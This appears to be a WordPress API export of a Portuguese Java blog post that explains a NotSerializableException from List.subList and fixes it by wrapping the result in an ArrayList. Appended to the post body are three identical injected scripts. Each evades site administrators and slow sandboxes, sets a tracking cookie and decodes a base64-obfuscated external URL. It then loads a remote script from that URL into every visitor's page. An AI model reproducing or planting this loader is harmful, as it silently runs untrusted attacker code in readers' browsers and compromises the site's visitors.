{"id":4040,"date":"2013-12-06T15:58:27","date_gmt":"2013-12-06T17:58:27","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4040"},"modified":"2025-10-26T22:32:23","modified_gmt":"2025-10-27T01:32:23","slug":"randomaccesssublist-nao-serializavel","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/12\/06\/randomaccesssublist-nao-serializavel\/","title":{"rendered":"RandomAccessSubList n\u00e3o serializ\u00e1vel"},"content":{"rendered":"<p>Caso voc\u00ea tenha se deparado com o seguinte erro:<\/p>\n<blockquote><p>java.io.NotSerializableException: java.util.RandomAccessSubList at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1164)<br \/>\nat java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1518)<br \/>\nat java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1483)<br \/>\nat java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1400)<br \/>\nat java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158)<br \/>\nat java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:330)<\/p><\/blockquote>\n<p>Em ambientes clusterizados ou ao serializar algum objeto, significa que voc\u00ea est\u00e1 utilizando um atributo de classe n\u00e3o serializ\u00e1vel. Entretanto \u00e9 um pouco complicado identificar onde est\u00e1 o erro, j\u00e1 que esse tipo de erro, normalmente n\u00e3o ocorre quando voc\u00ea instancia um objeto e sim quando voc\u00ea utiliza o m\u00e9todo subList da classe List que por algum motivo obscuro faz uso da classe java.util.RandomAccessSubList que n\u00e3o \u00e9 serializ\u00e1vel. Para resolver esse problema, basta empacotar o retorno do subList dentro de uma classe serializ\u00e1vel:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">atributoComSubList = new ArrayList(lista.subList(inicio,fim));<\/pre>\n<p>Problema resolvido!<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Caso voc\u00ea tenha se deparado com o seguinte erro: java.io.NotSerializableException: java.util.RandomAccessSubList at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1164) at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1518) at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1483) at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1400) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1158) at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:330) Em ambientes clusterizados ou ao serializar algum objeto, significa que voc\u00ea est\u00e1 utilizando um atributo de classe <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/12\/06\/randomaccesssublist-nao-serializavel\/\">Continue lendo  <span class=\"screen-reader-text\">  RandomAccessSubList n\u00e3o serializ\u00e1vel<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4040","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4040","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4040"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4040\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4040"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4040"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4040"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}